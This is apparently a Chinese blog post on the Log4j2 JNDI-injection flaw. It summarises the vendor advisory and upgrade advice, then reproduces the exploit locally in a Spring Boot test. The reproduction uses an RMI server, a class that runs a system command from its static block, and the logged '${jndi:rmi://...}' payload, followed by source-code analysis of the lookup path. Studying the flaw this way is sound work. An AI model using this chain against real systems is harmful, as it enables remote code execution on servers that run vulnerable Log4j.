2021 年 12 月 9 日,2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。详情见 【漏洞预警】Apache Log4j 远程代码执行漏洞
Apache Log4j2 是一款优秀的 Java 日志框架。2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级Apache Log4j 远程代码执行漏洞 严重。
影响版本Apache Log4j 2.x <= 2.14.1
安全建议1、升级 Apache Log4j2 所有相关应用到最新的 log4j-2.15.0-rc1 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升级已知受影响的应用及组件,如 srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid。
本地复现漏洞首先需要使用低版本的 log4j 包,我们在本地新建一个 Spring Boot 项目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以复现漏洞。
参考 Apache Log4j Lookups,我们先使用代码在 log 里获取一下 java:vm。
本地打印 JVM 基础信息 @SpringBootTest class Log4jApplicationTests { private static final Logger logger = LogManager.getLogger(SpringBootTest.class); @Test void log4j() { logger.info("content {}", "${java:vm}"); } }可以发现输出是:
content Java HotSpot(TM) 64-Bit Server VM (build 25.152-b16, mixed mode)使用 JavaLookup 获取到了 JVM 的相关信息(需要使用java前缀)。
本地获取服务器的打印信息本地启动一个 RMI 服务:
public class Server { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); String url = "http://127.0.0.1:8081/"; // Reference 需要传入三个参数 (className,factory,factoryLocation) // 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址 Reference reference = new Reference("ExecCalc", "ExecCalc", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("calc", referenceWrapper); } }ExecCalc 类直接放在根目录,不能申请包名,即不能存在 package xxx。声明后编译的 class 文件函数名称会加上包名从而不匹配。参考 Java 安全-RMI-JNDI 注入。
public class ExecCalc { static { try { System.out.println("open a Calculator!"); Runtime.getRuntime().exec("open -a Calculator"); } catch (Exception e) { e.printStackTrace(); } } }之后启动上面的 Server 类,再执行下面的代码:
@Test void log4jEvil() { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); logger.info("${jndi:rmi://127.0.0.1:1099/calc}"); }发现测试用例的控制台输出了 open a Calculator! 并启动了计算器。
log4j 漏洞源码分析只看 logger.info("${jndi:rmi://127.0.0.1:1099/calc}"); 这段代码,首先会调用到 org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent:
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) { event.setIncludeLocation(isIncludeLocation()); if (predicate.allow(this)) { callAppenders(event); } logParent(event, predicate); }其中 LogEvent 结构如下:
encode 对应的事件,将 ${param} 里的 param 解析出来,org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#tryAppend
private void tryAppend(final LogEvent event) { if (Constants.ENABLE_DIRECT_ENCODERS) { directEncodeEvent(event); } else { writeByteArrayToManager(event); } } protected void directEncodeEvent(final LogEvent event) { getLayout().encode(event, manager); if (this.immediateFlush || event.isEndOfBatch()) { manager.flush(); } }调用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,将对应参数解析出结果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } return resolver.lookup(event, variableName); }和官方文档上是能够对应上的,即 log 里只解析前缀为 date、jndi 等的命令,本文的测试用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}。